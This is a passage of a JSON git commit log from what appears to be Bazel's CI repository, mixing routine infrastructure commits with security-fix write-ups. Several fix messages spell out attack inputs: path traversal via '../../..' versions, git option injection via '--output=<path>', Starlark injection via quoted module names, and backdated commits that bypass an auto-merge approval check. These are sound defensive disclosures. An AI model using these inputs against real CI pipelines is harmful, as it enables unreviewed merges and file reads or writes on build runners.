)]}' { "log": [ { "commit": "84da22f541e864dead54845eabf54b1e09cb4963", "tree": "2082faab53c50b0bc92ce5fe88bfa057945ae7de", "parents": [ "de1d60db5f5f057fcf772584dff9a2f1940b45ec" ], "author": { "name": "herdiyanitdev", "email": "82978131+herdiyana256@users.noreply.github.com", "time": "Mon Sep 07 17:43:43 2026 +0700" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Mon Sep 07 10:43:43 2026 +0000" }, "message": "bcr-pr-reviewer: check review freshness by commit_id, not commit timestamp (#2841)\n\n`getPrApprovers()` decides whether a maintainer\u0027s existing approval\nstill applies to the PR\u0027s current content by comparing each review\u0027s\n`submitted_at` against the head commit\u0027s date\n(`latestCommit.commit.author.date`). A commit\u0027s author date is fully\ncontrolled by whoever creates the commit (`GIT_AUTHOR_DATE` / `git\ncommit --date`) and GitHub preserves it on push, so the freshness cutoff\nis attacker-controlled. By backdating a newly pushed head commit to a\ntime before an earlier approval, a stale approval of an earlier\ninnocuous commit keeps counting as valid for the new head the reviewer\nnever saw. `reviewPR()` feeds this `approvers` set directly into the\nauto-approve + squash-merge decision, and since `CODEOWNERS` delegates\nthe whole `modules/` tree to this bot, the freshness check is the guard\nthat decides what merges into the registry.\n\nThis is the same freshness check hardened in #2764 (which stopped merge\ncommits from being excluded from the cutoff) and complements #2653\n(which pinned the merge to the analyzed head SHA); both kept the\ntimestamp comparison, which is what this change removes.\n\nThe fix compares each review\u0027s `commit_id` against the current PR head\nSHA instead of comparing timestamps. A review only vouches for the exact\ncommit it was submitted against, so it is fresh iff its `commit_id`\nequals the head. This is timestamp-free and also handles the\nmerge-commit case without special-casing parent counts.\n\n`index.test.js` is updated to `commit_id` fixtures and adds a regression\ntest for the backdated-head-commit case; it keeps the checks that a\ngenuinely head-matching approval still counts and that a later\nnon-approving review overrides an earlier approval. `node --test`\npasses." }, { "commit": "de1d60db5f5f057fcf772584dff9a2f1940b45ec", "tree": "77ba78c66242596bb2389de278e4356baeac4b61", "parents": [ "705db9bc77cf9bf8f82df76ac22338f6e745b4fb" ], "author": { "name": "BarakSrour", "email": "85163444+BarakSrour@users.noreply.github.com", "time": "Mon Sep 07 06:35:31 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Mon Sep 07 10:35:31 2026 +0000" }, "message": "bcr-pr-reviewer: validate module version directories before diffing (#2842)\n\n## Summary\n\n`runDiffModule()` interpolates version strings directly into the paths\nit hands to `diff`:\n\n```js\nconst previousVersion \u003d metadata.versions[versionIndex - 1];\nconst diffArgs \u003d [\u0027--color\u003dalways\u0027, \u0027-urN\u0027,\n `modules/${moduleName}/${previousVersion}`,\n `modules/${moduleName}/${versionName}`];\n```\n\n`previousVersion` is read out of the module\u0027s `metadata.json` at\n`refs/pull/${prNumber}/head`, so its value comes from the PR being\nreviewed and is chosen by whoever opened that PR. A `versions` entry\nsuch as `\"../../..\"` makes `diff` descend outside the module directory,\nand `diff -urN` prints the contents of the files it finds to stdout,\nwhich the action logs.\n\n`generate_module_diff.yml` in `bazel-central-registry` runs this on\n`pull_request` for any PR touching `modules/**`, so reaching it needs\nonly an ordinary PR.\n\n## Impact\n\nLimited, and deliberately stated as such. That workflow uses the default\n`github.token` on a `pull_request` trigger, so a fork PR gets a\nread-only token and no repository secrets. What the bug gives is a read\nof runner-local files into a public workflow log, not code execution and\nnot access to anything the PR author does not already have.\n\nThis is the same input, in the same workflow, that #2220 handled by\nreplacing `execSync` with `spawnSync`. That change removed the shell, so\nthe string can no longer be interpreted as a command, but it is still\nused as a path. #2220 was filed as an ordinary PR on the reasoning that\nthis workflow\u0027s permissions are limited enough not to warrant a private\nreport, and this is strictly the milder of the two, so I have followed\nthe same route. Happy to move it if you would rather it went to the\nsecurity team.\n\n## Fix\n\nAdd `moduleVersionDir(moduleName, version)`, which resolves the\ncandidate directory and returns `null` unless it sits directly inside\n`modules/\u003cmoduleName\u003e/`, and skip a module whose version fails that\ntest.\n\nThe check is a containment test on the resolved path rather than a\npattern match on the version string, so it does not need to know the\nBazel version grammar and does not reject versions containing dots,\ndashes or plus signs. Output for legitimate input is byte-for-byte\nunchanged.\n\n## Test plan\n\n- `node -c index.js`: parses cleanly.\n- `npm test`: 7/7 pass (the 3 existing `getPrApprovers` tests plus 4 new\nones covering `../../..`, `..`, `../other_module/1.0.0`, `nested/1.0.0`,\n`/etc`, `/etc/passwd`, `.` and `\"\"`, and asserting that `0.9.0-rc.1..2`\nand `1.0.0+build.5` are still accepted).\n- Ran the unmodified action end to end against a stubbed GitHub API and\na fabricated PR, in a directory tree laid out like the runner\u0027s, in\nthree arms:\n- legitimate `previousVersion` of `0.9.0`: `diff --color\u003dalways -urN\nmodules/testmod/0.9.0 modules/testmod/1.0.0`, normal output;\n- `previousVersion` of `../../..`: `diff --color\u003dalways -urN\nmodules/testmod/../../.. modules/testmod/1.0.0`, and the contents of a\nfile placed outside the checkout appear in the action\u0027s output;\n- `previousVersion` of `0.9.0-rc.1..2`: stays inside the module\ndirectory, confirming that the dots are not what matters.\n- Re-ran the identical three arms against the patched file: arm 1 output\nunchanged, arm 3 unchanged, arm 2 now stops at `Refusing to diff module\ntestmod: a version does not name a directory inside modules/testmod/`\nwith no file contents in the log." }, { "commit": "705db9bc77cf9bf8f82df76ac22338f6e745b4fb", "tree": "56d1a215db43a06cef014e79abca65cd3a74d125", "parents": [ "957b0ac44549a70ccb951361b804d07d955aeb79" ], "author": { "name": "MalwareBro", "email": "106037584+MalwareBro@users.noreply.github.com", "time": "Mon Sep 07 13:19:09 2026 +0300" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Mon Sep 07 12:19:09 2026 +0200" }, "message": "cherry_picker: validate commit IDs parsed from the issue body (#2816)\n\n### What\n\nValidate the commit IDs that `cherrypick_with_commits.py` parses out of\nthe issue body, accepting only git object names (7–40 hex characters).\n\n### Why\n\nThe on-demand cherry-pick flow reads commit IDs from the `### Commit\nIDs` section of the issue body:\n\n```python\nissue_body_dict[\"commits\"] \u003d get_middle_text(...).replace(\" \", \"\").split(\",\")\n```\n\nThat normalisation strips spaces and splits on commas, but it preserves\na leading dash. Each entry is then passed to git as an argv element:\n\n```python\nsubprocess.run([\"git\", \"diff-tree\", \"--no-commit-id\", \"--name-only\", commit_id, \"-r\", \"-m\"])\n```\n\nBecause `commit_id` sits in an argument position, a value such as\n`--output\u003d\u003cpath\u003e` is interpreted by git as an *option* rather than a\nrevision. `git diff-tree` honours `--output\u003d\u003cfile\u003e` and\ncreates/truncates that file, so a malformed entry can write to a path on\nthe runner instead of being rejected as an invalid revision. Relative\npaths are accepted, so the target is not confined to the checkout\ndirectory.\n\nThe commit IDs come from the issue body, which is user-authored content,\nso it seems worth constraining them to values git will only ever treat\nas revisions.\n\nThe existing `subprocess` calls already use list form without\n`shell\u003dTrue`, so there is no shell involved here — this is purely about\ngit\u0027s own option parsing.\n\n### How\n\nFilter empty entries (so a trailing comma stays tolerated) and require\neach remaining entry to match `^[0-9a-fA-F]{7,40}$`. Anything else is\nreported back on the issue using the existing `issue_comment` helper,\nfollowing the error-reporting style already used in this script, and the\nrun exits cleanly.\n\nVerified that the pattern accepts short (7) and full (40) hashes in\neither case, and rejects `--output\u003d...`, bare options such as `-r`,\nover-short values, and non-hex strings." }, { "commit": "957b0ac44549a70ccb951361b804d07d955aeb79", "tree": "ef3800dc31d0c7d15145427ffdce9598b1ed901b", "parents": [ "f38395f861d8cdd4bb928ec554c32151f5f9bf4c" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Tue Sep 01 14:15:06 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Tue Sep 01 14:15:06 2026 -0400" }, "message": "Update and clarify docker docs (#2832)" }, { "commit": "f38395f861d8cdd4bb928ec554c32151f5f9bf4c", "tree": "68ca5100cc9dc6d06253bb13dd7d16fb1b6d64b8", "parents": [ "b4d39fc2c3a3498416ec46a25a8554389c65296d" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Tue Sep 01 13:43:59 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Tue Sep 01 13:43:59 2026 -0400" }, "message": "Pin terraform images (#2826)" }, { "commit": "b4d39fc2c3a3498416ec46a25a8554389c65296d", "tree": "ec439360887677a35eaa2e2f1075ecd11624eed0", "parents": [ "b083e2340a904ef1a3b7677c091dc59d3e73e154" ], "author": { "name": "Yun Peng", "email": "pcloudy@google.com", "time": "Tue Sep 01 17:07:43 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Tue Sep 01 17:07:43 2026 +0200" }, "message": "Remove docker plugin from docker-update pipeline (#2834)\n\nSince Docker socket mounting was removed (`/var/run/docker.sock`),\ndocker-in-docker is no longer supported on CI agent containers.\n\nThis removes the `docker#v3.8.0` plugin from\n`pipelines/docker-update.yml` so that Docker commands execute directly\non the host VM agent." }, { "commit": "b083e2340a904ef1a3b7677c091dc59d3e73e154", "tree": "74c0f0f906ba2b320aecf831d276ba43eb2b2989", "parents": [ "d464ae8a58fa3589bc5dea2533782cf30ec52985" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Mon Aug 31 11:21:26 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Mon Aug 31 15:21:26 2026 +0000" }, "message": "Build docker images nightly (#2831)" }, { "commit": "d464ae8a58fa3589bc5dea2533782cf30ec52985", "tree": "eb7d93223e3563c21921a9307827dda52400f205", "parents": [ "701f675d9205f7c4c0f77d4cdc925fee855b6cb9" ], "author": { "name": "Adil Burak Şen", "email": "56400880+adilburaksen@users.noreply.github.com", "time": "Mon Aug 31 13:30:54 2026 +0300" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Mon Aug 31 12:30:54 2026 +0200" }, "message": "bcr-pr-reviewer: pin auto-merge to the analyzed head SHA (#2653)\n\n## Problem\n\nIn `actions/bcr-pr-reviewer/index.js`, `reviewPR()` re-fetches the PR\nhead SHA and aborts if it changed since the analysis began (the\n`initialHeadSha !\u003d\u003d currentHeadSha` check). However, the subsequent\nauto-merge call:\n\n```js\nawait octokit.rest.pulls.merge({\n owner, repo, pull_number: prNumber, merge_method: \u0027squash\u0027,\n});\n```\n\ndoes not pass a `sha`, so it merges whatever the PR head is at merge\ntime. There is a window between the staleness check / approval and this\nmerge in which a new commit could be pushed, causing the bot to merge\ncontent that was not the analyzed and approved commit.\n\n## Change\n\nPass `sha: currentHeadSha` (the commit that was analyzed and approved)\nto `pulls.merge`. GitHub\u0027s merge API rejects the merge with `409\nConflict` if the provided SHA is not the current head, so the bot will\nnot merge commits that were pushed after analysis.\n\nThis is a defense-in-depth hardening of the existing staleness check; it\ndoes not change behavior for PRs whose head is unchanged." }, { "commit": "701f675d9205f7c4c0f77d4cdc925fee855b6cb9", "tree": "9f2a4504b09cf4086907dce9935f4ea5dc3ebbe0", "parents": [ "3c76142af05d57bee0243d39098cb6efad915d17" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Thu Aug 27 14:35:35 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Aug 27 14:35:35 2026 -0400" }, "message": "Rebalance Linux vs Windows VMs (#2830)\n\nThe Windows queue is really backed up right now, and the Linux queue is\nunderutilized, so we should rebalance the VM distribution." }, { "commit": "3c76142af05d57bee0243d39098cb6efad915d17", "tree": "57cb14fdb1bc4d564eb58bc3fba5cc31165f04db", "parents": [ "4cbdfd8af9ca568952e7aeaa95bb37cb7f3a12ee" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Thu Aug 27 18:17:38 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Aug 27 18:17:38 2026 +0200" }, "message": "Reapply \"Fix priority of most important trusted pipelines.\" (#2822) (#2829)\n\nThis reverts commit 5b81ed94dbe89092ac599d8d08e9ad72509e95b6.\n\nAdditional fix: Explicitly set priority value - TF doesn\u0027t like\nundefined variables, and $try doesn\u0027t help either." }, { "commit": "4cbdfd8af9ca568952e7aeaa95bb37cb7f3a12ee", "tree": "6276f6255da472da1ac7b5387126280677685bfd", "parents": [ "72b3b3bcd2659f6efac15dd073e6580c4f43f4e8" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Wed Aug 26 15:11:23 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Aug 26 19:11:23 2026 +0000" }, "message": "Remove docker socket from terraform configs (#2820)" }, { "commit": "72b3b3bcd2659f6efac15dd073e6580c4f43f4e8", "tree": "1186c9dd2c941c4a39334ba92855660afee0f521", "parents": [ "5b81ed94dbe89092ac599d8d08e9ad72509e95b6" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Wed Aug 26 19:47:58 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Aug 26 17:47:58 2026 +0000" }, "message": "Upload generated docs during docs presubmit. (#2825)\n\nTested:\nhttps://buildkite.com/bazel-testing/bazel-bazel/builds/9943#01a03ec8-ce77-4538-8f56-3d0c527dbce5" }, { "commit": "5b81ed94dbe89092ac599d8d08e9ad72509e95b6", "tree": "5927866547191c9d329d3772258bb251718d812b", "parents": [ "3598c2f92baa66fcd3ad686df216027b42c14d91" ], "author": { "name": "Yun Peng", "email": "pcloudy@google.com", "time": "Wed Aug 26 14:04:03 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Aug 26 14:04:03 2026 +0200" }, "message": "Revert \"Fix priority of most important trusted pipelines.\" (#2822)\n\nReverts bazelbuild/continuous-integration#2795\n\nDue to\nhttps://github.com/bazelbuild/continuous-integration/actions/runs/32885286970" }, { "commit": "3598c2f92baa66fcd3ad686df216027b42c14d91", "tree": "a689a68ba69a8128f992d9f99bf5df823f5fb3e8", "parents": [ "87cc1cd21a0c69dd64d46a0cdd1dc00f27468120" ], "author": { "name": "herdiyanitdev", "email": "82978131+herdiyana256@users.noreply.github.com", "time": "Wed Aug 26 16:41:57 2026 +0700" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Aug 26 09:41:57 2026 +0000" }, "message": "Validate module name and version derived from PR paths in bcr_presubmit.py (#2759)\n\n`module_name` and `module_version` in `bcr_presubmit.py` are derived\nfrom a pull request\u0027s changed file paths (`modules/\u003cname\u003e/\u003cversion\u003e/`)\nvia `get_target_modules()`, using a regex whose only constraint is \"no\nslash\" (`modules\\/([^\\/]+)\\/([^\\/]+)\\/`). Both values can therefore\ncontain arbitrary shell and Starlark metacharacters.\n\nTwo sinks interpolate these values unescaped:\n- The shell command string built in `add_presubmit_jobs()` (partially\naddressed by #2739\u0027s `shlex.quote` fix at that one call site).\n- The generated `MODULE.bazel` content in `create_anonymous_repo()`:\n ```python\nscratch_file(root, \"MODULE.bazel\", [\"bazel_dep(name \u003d \u0027%s\u0027, version \u003d\n\u0027%s\u0027)\" % (module_name, module_version)])\n ```\nA `module_name`/`module_version` containing a single quote closes the\nStarlark string literal early, letting the rest of the payload be parsed\nas new top-level `MODULE.bazel` statements (e.g. `load(...)` + a\nrepository rule invocation), evaluated when `bazel vendor` runs during\n`anonymous_module_runner`/`test_module_runner`. This sink is unaffected\nby #2739, since `shlex.quote` only protects shell-argument parsing, not\nthe raw string value that later reaches this `%`-format call.\n\nThis patch rejects any `module_name`/`module_version` that doesn\u0027t match\nthe character set Bzlmod itself accepts\n(https://bazel.build/external/module#module_name, `#version`) at the\npoint they\u0027re derived from the PR path in\n`get_target_modules()`/`get_modules_with_metadata_change()`. Validating\nat the source closes both the already-partially-fixed shell sink and the\nstill-open `MODULE.bazel` sink (and any future sink in this file) at a\nsingle choke point, rather than escaping per call site.\n\nNormal module names/versions (e.g. `rules_foo` / `1.2.3`, `protobuf` /\n`27.0-rc1`) are unaffected. Anything containing quotes, backticks,\nsemicolons, dollar signs, spaces, or uppercase letters in the name is\nnow rejected before it reaches any downstream sink." }, { "commit": "87cc1cd21a0c69dd64d46a0cdd1dc00f27468120", "tree": "ee9739ed67e344d9b6fa3691bf62de0544df3bb3", "parents": [ "05c3f85a9dadf4c102d234cb830a5a62cf715579" ], "author": { "name": "herdiyanitdev", "email": "82978131+herdiyana256@users.noreply.github.com", "time": "Wed Aug 26 16:37:02 2026 +0700" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Aug 26 11:37:02 2026 +0200" }, "message": "Fix stale-approval bypass in BCR PR reviewer\u0027s review-freshness check (#2764)\n\n## Summary\n\n`actions/bcr-pr-reviewer/index.js`\u0027s `getPrApprovers()` decides whether\nan existing GitHub review is still valid by comparing its `submitted_at`\nagainst the timestamp of \"the latest commit\" -- but it computes that\ntimestamp only from commits whose `parents.length \u003d\u003d\u003d 1`, explicitly\nfiltering out merge commits:\n\n```js\n// Filter out the merge commits whose parents length is larger than 1\nconst nonMergeCommits \u003d commits.filter(commit \u003d\u003e commit.parents.length \u003d\u003d\u003d 1);\nconst latestCommit \u003d nonMergeCommits[nonMergeCommits.length - 1];\nconst latestCommitTime \u003d new Date(latestCommit.commit.author.date);\n...\nreviewEvents.forEach(review \u003d\u003e {\n if (new Date(review.submitted_at) \u003c latestCommitTime) {\n return; // review is stale, ignore it\n }\n ...\n});\n```\n\nA merge commit can itself carry diff content -- conflict resolution, or\ncontent brought in from whatever was merged -- so excluding it from \"the\nlatest commit\" means a review submitted *before* that merge commit still\ncounts as approving the PR\u0027s *current* head, even though the reviewer\nnever saw the merge commit\u0027s content.\n\nConcretely: a contributor gets an early, innocuous commit approved by a\nmaintainer, then pushes a merge commit that changes the PR\u0027s actual\ncontent. `getPrApprovers()` still returns that maintainer as a current\napprover, because the merge commit is invisible to its freshness\ncalculation.\n\n`reviewPR()` (in the same file) uses `getPrApprovers()`\u0027s output to\ndecide whether to submit its own `APPROVE` review and call\n`pulls.merge()`:\n\n```js\nif (allModulesApproved \u0026\u0026 !hasSensitiveMetadataChange) {\n if (!approvers.has(myLogin)) {\n await octokit.rest.pulls.createReview({ ..., event: \u0027APPROVE\u0027, ... });\n }\n await octokit.rest.pulls.merge({ ... });\n ...\n}\n```\n\nSo this bug lets the bot submit its own fresh `APPROVE` review and merge\na PR based on a maintainer\u0027s approval of content that is no longer\nwhat\u0027s actually being merged.\n\n**Why this is the sole gate, not defense-in-depth:**\n`bazel-central-registry`\u0027s `CODEOWNERS` file explicitly excludes\n`modules/` from GitHub\u0027s native code-owner review requirement:\n```\n* @bazelbuild/bcr-maintainers\n/modules/\n```\nwith the comment \"which has a bot that manages review requests\" -- i.e.\nthis bot\u0027s own approval decision is the *only* review gate for module\nchanges, there\u0027s no redundant native check backing it up for that path.\n\nI verified the mechanics with a standalone script (not just by reading\nthe source) that reproduces `getPrApprovers()`\u0027s exact logic against\nfabricated commit/review data shaped like the real GitHub API responses:\na review approving commit C1, followed by a 2-parent merge commit C2 as\nthe new PR head, still returns the reviewer as an approver of C2\u0027s\ncontent.\n\n## Fix\n\nUse the PR\u0027s actual last commit (`commits[commits.length - 1]`) as the\nfreshness cutoff, without excluding merge commits. `pulls.listCommits`\nalready returns commits in chronological order, so the last entry is\nalways the true current PR head regardless of its parent count --\nthere\u0027s no need to special-case merge commits at all.\n\nAlso fixed two accidentally-undeclared variables (`existingSubmittedAt`,\n`submittedAt`) in the same block (missing `const`, silently created\nimplicit globals in this non-strict-mode script).\n\n## Test plan\n\n- `node -c index.js`: parses cleanly.\n- Added `index.test.js` (Node\u0027s built-in `node:test` runner, zero new\ndependencies -- this action\u0027s `package.json` had no test setup at all\nbefore this) with a fake `octokit` object supplying fabricated\n`listCommits`/`listReviews` data directly, covering:\n1. The bypass scenario above -- asserts the stale approval no longer\ncounts.\n2. A review genuinely submitted *after* a merge commit -- asserts it\nstill counts (no regression for the legitimate \"approve after syncing\nwith main\" case).\n 3. The plain no-merge-commits case -- asserts unaffected.\n- `npm test` (updated from the placeholder `\"no test specified\"` script\nto `node --test`): all 3 pass.\n\nIndependent from, and a different root cause than, my two earlier fixes\nin this file\u0027s sibling\n(`buildkite/bazel-central-registry/bcr_presubmit.py`, #2739 and #2759)\n-- this one\u0027s in the PR-reviewer bot\u0027s own approval logic, not the\npresubmit command/Starlark generation." }, { "commit": "05c3f85a9dadf4c102d234cb830a5a62cf715579", "tree": "a476f0692b982bb33a97e605bbe6d9af5b38cd67", "parents": [ "2fdaf2c135840ef72f52993c8c66984065255d88" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Tue Aug 25 20:41:53 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Tue Aug 25 18:41:53 2026 +0000" }, "message": "Fix priority of most important trusted pipelines. (#2795)\n\n- Infra pipelines (create VM/Docker images) run at highest priority 100\nsince we might need them to fix outages.\n- Release builds run at next highest priority 50 - it\u0027s the next most\nimportant pipeline which should not be blocked by the backlog of\nhttps://buildkite.com/bazel-trusted/publish-bazel-binaries\n- All other pipelines run at default priority 0\n\nCo-authored-by: Xùdōng Yáng \u003cwyverald@gmail.com\u003e" }, { "commit": "2fdaf2c135840ef72f52993c8c66984065255d88", "tree": "ed79094df65a112ca598baf7be0d61ca66d935ac", "parents": [ "b24a8a986b062fb78bb8bfabb71dd50cecd3304b" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Tue Aug 25 14:31:38 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Tue Aug 25 14:31:38 2026 +0200" }, "message": "Fix GCE VM image creation pipelines (part 1) (#2793)\n\n- Introduce new env variable to also re-create trusted instance groups\nin the final step. This is currently a no-op - we need to deploy this\nchange via TF, then update\nhttps://github.com/bazelbuild/continuous-integration/blob/master/pipelines/publish-vm-image.yml.\n- Change image VM location -\nhttps://github.com/bazelbuild/continuous-integration/commit/8b0cc1baa274f7e575cdf1e2c3103879ad26027b\nwasn\u0027t enough, we\u0027re still running into quota issues in us-central1-c" }, { "commit": "b24a8a986b062fb78bb8bfabb71dd50cecd3304b", "tree": "9c1d533f38754555fe2132e2d4999ac63ada32ab", "parents": [ "021d3385e611ad6da11688f845f7e59419f0f0fa" ], "author": { "name": "Ian (Hee) Cha", "email": "heec@google.com", "time": "Tue Aug 25 07:48:56 2026 +0000" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Tue Aug 25 07:48:56 2026 +0000" }, "message": "Migrate from gsutil to gcloud storage for `mirror.sh` (#2818)\n\nIn order for `mirror.sh` to work for mirroring artifacts, we are\nreplacing `gsutil` to `gcloud storage` as per the Google official\nguidelines." }, { "commit": "021d3385e611ad6da11688f845f7e59419f0f0fa", "tree": "ec931eedb88f3689c61338f7bf5a9d9ba9c76c6b", "parents": [ "51fc8f4e16a1d36ffa2ea85cc42c65ea44ba02af" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Mon Aug 24 15:13:57 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Mon Aug 24 15:13:57 2026 -0400" }, "message": "Remove docker mount from pipeline ymls (#2819)\n\nThese should not have been necessary in the first place." }, { "commit": "51fc8f4e16a1d36ffa2ea85cc42c65ea44ba02af", "tree": "05ac85aa898c2023cd59dae875b38bc60fb9cba8", "parents": [ "47d5ff02f7c1108d72b1d9182bf64d43ce2c539e" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Mon Aug 24 14:34:04 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Mon Aug 24 14:34:04 2026 -0400" }, "message": "Remove docker socket mount (#2817)\n\nMost uses of this mount point should have been refactored or removed." }, { "commit": "47d5ff02f7c1108d72b1d9182bf64d43ce2c539e", "tree": "6211de66baf9630ed0d359c73f60c0de1f2fee85", "parents": [ "438f023b193d850461a45b8cb172ef2516cd8133" ], "author": { "name": "Yun Peng", "email": "pcloudy@google.com", "time": "Fri Aug 21 11:36:50 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Fri Aug 21 09:36:50 2026 +0000" }, "message": "Fix build event JSON file path conversion flag (#2805)\n\n(Create a small change to see if our CI Smoke Test works)" }, { "commit": "438f023b193d850461a45b8cb172ef2516cd8133", "tree": "58d05a532560ddfc59095326612b195be06e5e1a", "parents": [ "2e09259514e759f3b1bc1586b3dac09b607222e5" ], "author": { "name": "Yun Peng", "email": "pcloudy@google.com", "time": "Thu Aug 20 23:49:46 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Aug 20 21:49:46 2026 +0000" }, "message": "bcr-pr-reviewer: Avoid repeating identical comments on PRs (#2803)\n\nPreviously, `postComment` only checked whether an identical comment had\nbeen posted in the past 14 days. This caused informational notices (such\nas sensitive metadata modification warnings, file limit alerts, and\nmaintainer notifications) to be re-posted every 2–4 weeks whenever PR\nactivity occurred.\n\nThese repeated comments generated notification noise and interfered with\nGitHub\u0027s stale bot action by repeatedly resetting the PR\u0027s activity\ntimestamp, preventing inactive PRs from being automatically closed. See\nhttps://github.com/bazelbuild/bazel-central-registry/pull/8523\n\nThis PR updates `postComment` to check all existing comments on the PR\nso that identical bot comments are only posted once." }, { "commit": "2e09259514e759f3b1bc1586b3dac09b607222e5", "tree": "3b23b285615bf862ab824e060cd838a65b42035f", "parents": [ "34b3e3871f8b0da8fc970cfb605736128f25eb1e" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Thu Aug 20 14:11:29 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Aug 20 14:11:29 2026 -0400" }, "message": "Update buildtools repo URL (#2813)\n\nThe buildtools repo is now under bazel-contrib." }, { "commit": "34b3e3871f8b0da8fc970cfb605736128f25eb1e", "tree": "a809c0e4ff056e01d106ab10576069ade2db007f", "parents": [ "83fa3cfa7fa13b93de26531307a7a68b12dfdfb0" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Thu Aug 20 12:58:21 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Aug 20 12:58:21 2026 -0400" }, "message": "Fix bazelci.py branch for buildfarm-testing (#2812)" }, { "commit": "83fa3cfa7fa13b93de26531307a7a68b12dfdfb0", "tree": "fb80555a4609c529e185f6983ad26f5a3084f5dc", "parents": [ "1af739c2689c705fbc4976ce55ab0d3546d0704d" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Thu Aug 20 12:06:34 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Aug 20 16:06:34 2026 +0000" }, "message": "Update bazel-testing pipelines (#2811)\n\n* Add a buildfarm testing pipeline\n* Remove my custom pipeline (it was not necessary)" }, { "commit": "1af739c2689c705fbc4976ce55ab0d3546d0704d", "tree": "bd61aa88636286c47563a894f059d56a9ecf5ba6", "parents": [ "2522956568c625583a96a1179491d70a01fcc39e" ], "author": { "name": "Yun Peng", "email": "pcloudy@google.com", "time": "Thu Aug 20 18:03:41 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Aug 20 18:03:41 2026 +0200" }, "message": "Add Protobuf (main, 33.x, 35.x) to downstream pipeline (#2808)\n\nThis PR configures Protobuf in the downstream pipeline:\n- Adds Protobuf (main), Protobuf 33.x, and Protobuf 35.x to\n`DOWNSTREAM_PROJECTS_PRODUCTION` using `.bazelci/presubmit.yml` from\n`https://github.com/protocolbuffers/protobuf.git`.\n- Removes obsolete `pipelines/protobuf.yml`.\n- Supports `git_branch` in `DOWNSTREAM_PROJECTS` by passing\n`git_commit\u003d\"origin/\u003cbranch\u003e\"` to the downstream `project_pipeline` step\nand skipping `get_last_green_commit` when a branch is configured.\n- Adds unit tests in `buildkite/bazelci_test.py`." }, { "commit": "2522956568c625583a96a1179491d70a01fcc39e", "tree": "44b8596c4956f19ace4047663d5c3c23548c1c04", "parents": [ "9a06b5fa008b690e8f16c6008f1e1dbae1a9b94a" ], "author": { "name": "KarolinaKalin", "email": "160865751+KarolinaKalin@users.noreply.github.com", "time": "Thu Aug 20 17:36:27 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Aug 20 15:36:27 2026 +0000" }, "message": "Update nginx.conf (#2810)" }, { "commit": "9a06b5fa008b690e8f16c6008f1e1dbae1a9b94a", "tree": "c9a7feedf5cda0696cc4b311e505d61d1097c10a", "parents": [ "ff27f4d66f2eb8b1a80e1af0b70e5f73b290d92c" ], "author": { "name": "Yun Peng", "email": "pcloudy@google.com", "time": "Thu Aug 20 16:08:27 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Aug 20 14:08:27 2026 +0000" }, "message": "Allow CI:run as an auto-run label (#2809)\n\nSupport `CI:run` alongside `presubmit-auto-run` as a label to\nautomatically run presubmits and skip config change review blocks." }, { "commit": "ff27f4d66f2eb8b1a80e1af0b70e5f73b290d92c", "tree": "eb3f4dfab2d4f8a842248ae6f8e878b76936a951", "parents": [ "650ddb1498338717a347335f12fcf0ddc14f2d2b" ], "author": { "name": "Yun Peng", "email": "pcloudy@google.com", "time": "Thu Aug 20 13:58:18 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Aug 20 13:58:18 2026 +0200" }, "message": "Switch arm64 instance groups to c4a-standard-8 (#2807)\n\nSwitch ARM64 instance groups from `c4a-standard-8-lssd` to standard\n`c4a-standard-8`.\n\nThe instances already use `hyperdisk-balanced` with\n`startup-docker-pdssd.sh` and do not mount or format the attached Local\nSSD. Using the `-lssd` variant causes zone capacity exhaustion\n(`ZONE_RESOURCE_POOL_EXHAUSTED`) in `us-central1-c` and local SSD quota\nexhaustion.\n\nAlso increased the testing machines to 10" }, { "commit": 